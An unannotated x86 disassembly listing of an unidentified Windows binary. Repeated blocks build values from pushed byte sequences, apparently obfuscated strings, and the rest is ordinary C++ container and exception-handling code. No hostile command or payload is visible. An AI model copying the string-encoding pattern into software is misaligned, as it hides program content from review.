--------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx mov byte ptr [esp+3DCh], 34h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 35h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 36h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+218h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 37h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h mov byte ptr [esp+38Ch], 3Ah push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Ch call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D835F push eax mov [esp+14h], edi call sub_401A73 lea ecx, [esp+68h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Dh call sub_4019C4 add esp, 64h mov byte ptr [esp+370h], 3Eh mov ecx, eax call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Fh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 40h call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 41h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 42h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 mov byte ptr [esp+370h], 43h push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 44h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 45h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 46h call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 47h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 48h call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+90h] push 13h push eax mov byte ptr [esp+3DCh], 49h call sub_4019C4 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 4Ah call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Bh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 mov byte ptr [esp+374h], 4Ch push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Dh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Eh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Fh call sub_4019C4 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 50h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 51h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D835F push edx mov [esp+14h], edi call sub_401A73 push offset byte_448F40 push offset word_4E8E6A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_40142E lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_40142E push 56D2h push 539h mov byte ptr [esp+360h], 53h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea eax, [esp+23Ch] push offset dword_4447F4 push eax call sub_40102D push 56D2h push 539h call sub_4021C6 ; --------------------------------------------------------------------------- push eax lea ecx, [esp+280h] push offset dword_4447F4 push ecx call sub_40102D add esp, 10h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+278h] mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+260h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E8E6A call sub_4014D3 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1A0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014D3 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B40 ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 16Dh call sub_4017EE push eax push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1B6h call sub_4017EE push eax push offset dword_4493B4 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] call sub_4017EE push eax push offset dword_449290 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 124h call sub_4017EE push eax push offset word_449322 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 0DBh call sub_4017EE push eax push offset byte_4492D9 mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 92h call sub_4017EE push eax push offset byte_44936B mov ecx, offset word_44ACE6 call sub_4015A0 push 0 mov ecx, offset byte_4D835F call sub_401474 mov ecx, [eax] add ecx, 1FFh call sub_4017EE push eax push offset byte_44948F mov ecx, offset word_44ACE6 call sub_4015A0 lea ecx, [esp+200h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 lea ecx, [esp+290h] mov byte ptr [esp+370h], 54h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax call sub_401870 lea ecx, [esp+128h] mov byte ptr [esp+388h], 55h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0A4h], esp push eax call sub_401870 lea ecx, [esp+170h] mov byte ptr [esp+3A0h], 56h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+0C0h], esp push eax call sub_401870 mov ecx, offset word_44AC6E mov byte ptr [esp+3B8h], 53h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 52h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 mov byte ptr [esp+358h], 1Ch lea ecx, [esp+2Ch] call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 2 call sub_401226 mov byte ptr [esp+358h], 1 lea ecx, [esp+1E8h] call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+98h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 5E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401474j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401983 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409548 mov ecx, esi call sub_40191A ; --------------------------------------------------------------------------- loc_409548: ; CODE XREF: sub_409530+Fj mov ecx, esi call sub_401A46 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_401A73j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_401695 pop esi retn 4 sub_409570 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_401A46j mov eax, [ecx+4] retn sub_4095A0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095C0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4095C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4095E0 proc near ; CODE XREF: sub_401983j mov edx, [ecx+4] test edx, edx jnz short loc_4095EA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4095EA: ; CODE XREF: sub_4095E0+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_4095E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409610 proc near ; CODE XREF: sub_401695j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A46 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401BAE mov ecx, edi call sub_401A46 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409610 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409660 proc near ; CODE XREF: sub_40191Aj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_440088 push edx call sub_437B22 sub_409660 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4097AB mov ecx, esi call sub_401983 cmp edi, eax jnb short loc_409713 mov ecx, esi call sub_401983 mov ebp, eax jmp short loc_409715 ; --------------------------------------------------------------------------- loc_409713: ; CODE XREF: sub_4096E0+26j mov ebp, edi loc_409715: ; CODE XREF: sub_4096E0+31j mov ecx, esi call sub_401983 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CC1 ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016E0 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401983 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4097AB: ; CODE XREF: sub_4096E0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409809 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016E0 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401FB4 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409809: ; CODE XREF: sub_4096E0+D8j test edi, edi jbe short loc_409843 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016E0 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CDF mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401FB4 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409843: ; CODE XREF: sub_4096E0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_4096E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098B0 proc near ; CODE XREF: sub_401717j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4098D0 loc_4098C1: ; CODE XREF: sub_4098B0+1Ej push esi mov ecx, edi call sub_402090 add esi, 4 cmp esi, ebx jnz short loc_4098C1 loc_4098D0: ; CODE XREF: sub_4098B0+Fj pop edi pop esi pop ebx retn 8 sub_4098B0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098F0 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4098F0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_402090j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409910 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409930 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409962 push edi mov edi, [esp+10h+arg_8] loc_409946: ; CODE XREF: sub_409930+27j push esi push edi mov ecx, ebx call sub_4015B4 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409946 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_409930+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409930 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409980 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4099A7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409996: ; CODE XREF: sub_409980+23j push ebx push esi mov ecx, ebp call sub_4015B4 add esi, 4 dec edi jnz short loc_409996 pop esi pop ebx loc_4099A7: ; CODE XREF: sub_409980+Aj pop edi pop ebp retn 0Ch sub_409980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099C0 proc near ; CODE XREF: sub_401CC1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_402059 sub_4099C0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099F0 proc near ; CODE XREF: sub_4015B4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_4099F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A20 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_409A3D mov edx, [esp+arg_8] push esi loc_409A31: ; CODE XREF: sub_409A20+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409A31 pop esi locret_409A3D: ; CODE XREF: sub_409A20+Aj retn sub_409A20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_401CDFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409A72 mov eax, [esp+arg_8] push esi loc_409A61: ; CODE XREF: sub_409A50+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409A61 pop esi retn ; --------------------------------------------------------------------------- loc_409A72: ; CODE XREF: sub_409A50+Aj mov eax, [esp+arg_8] retn sub_409A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409AB0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_409ABA xor eax, eax loc_409ABA: ; CODE XREF: sub_409AB0+6j shl eax, 2 push eax call sub_437AEA sub_409AB0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AE0 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409AFB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409AFB: ; CODE XREF: sub_409AE0+11j 